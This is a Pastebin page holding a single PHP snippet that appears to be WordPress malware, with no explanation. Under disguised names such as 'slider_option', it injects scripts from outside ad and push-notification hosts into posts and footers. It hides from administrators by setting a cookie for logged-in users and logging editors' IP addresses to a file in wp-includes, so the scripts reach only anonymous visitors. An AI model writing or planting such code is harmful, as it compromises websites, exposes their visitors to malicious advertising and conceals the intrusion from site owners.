Advertisement
Guest User

Untitled

a guest
Feb 10th, 2018
65,851
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.41 KB | None | 0 0
  1. <?php
  2. ini_set('display_errors', 0);
  3. error_reporting(0);
  4. $wp_auth_key = '08b370e35d008b6591dd40b0eec23025';
  5.  
  6. if (!function_exists('slider_option'))
  7.     {
  8.     function slider_option($content)
  9.         {
  10.         if (is_single())
  11.             {
  12.             $con = '
  13. ';
  14.             $con2 = '
  15. <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1527634"></script>
  16. <script src="//go.mobtrks.com/notice.php?p=1539531&interstitial=1"></script>
  17. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1527635&interactive=1&pushup=1"></script>
  18.  
  19. ';
  20.             $content = $content . $con2;
  21.             }
  22.  
  23.         return $content;
  24.         }
  25.  
  26.     function slider_option_footer()
  27.         {
  28.         if (!is_single())
  29.             {
  30.             $con2 = '
  31. <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1527634"></script>
  32. <script src="//go.mobtrks.com/notice.php?p=1539531&interstitial=1"></script>
  33. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1527635&interactive=1&pushup=1"></script>
  34.  
  35. ';
  36.             echo $con2;
  37.             }
  38.         }
  39.  
  40.     function setting_my_first_cookie()
  41.         {
  42.         setcookie('wordpress_cf_adm_use_adm', 1, time() + 3600 * 24 * 1000, COOKIEPATH, COOKIE_DOMAIN);
  43.         }
  44.  
  45.     if (is_user_logged_in())
  46.         {
  47.         add_action('init', 'setting_my_first_cookie', 1);
  48.         }
  49.  
  50.     if (current_user_can('edit_others_pages'))
  51.         {
  52.         if (file_exists(ABSPATH . 'wp-includes/wp-feed.php'))
  53.             {
  54.             $ip = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php');
  55.             }
  56.  
  57.         if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
  58.             {
  59.             $ip.= $_SERVER['REMOTE_ADDR'] . '
  60. ';
  61.             @file_put_contents(ABSPATH . 'wp-includes/wp-feed.php', $ip);
  62.             }
  63.         }
  64.  
  65.     $ref = $_SERVER['HTTP_REFERER'];
  66.     $SE = array(
  67.         'google.',
  68.         '/search?',
  69.         'images.google.',
  70.         'web.info.com',
  71.         'search.',
  72.         'yahoo.',
  73.         'yandex',
  74.         'msn.',
  75.         'baidu',
  76.         'bing.',
  77.         'doubleclick.net',
  78.         'googleweblight.com'
  79.     );
  80.     foreach($SE as $source)
  81.         {
  82.         if (strpos($ref, $source) !== false)
  83.             {
  84.             setcookie("sevisitor", 1, time() + 120, COOKIEPATH, COOKIE_DOMAIN);
  85.             $sevisitor = true;
  86.             }
  87.         }
  88.  
  89.     if (!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in())
  90.         {
  91.         $adtxt = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php');
  92.         if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
  93.             {
  94.             add_filter('the_content', 'slider_option');
  95.             add_action('wp_footer', 'slider_option_footer');
  96.             if ($sevisitor == true || isset($_COOKIE['sevisitor']))
  97.                 {
  98.                 }
  99.             }
  100.         }
  101.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement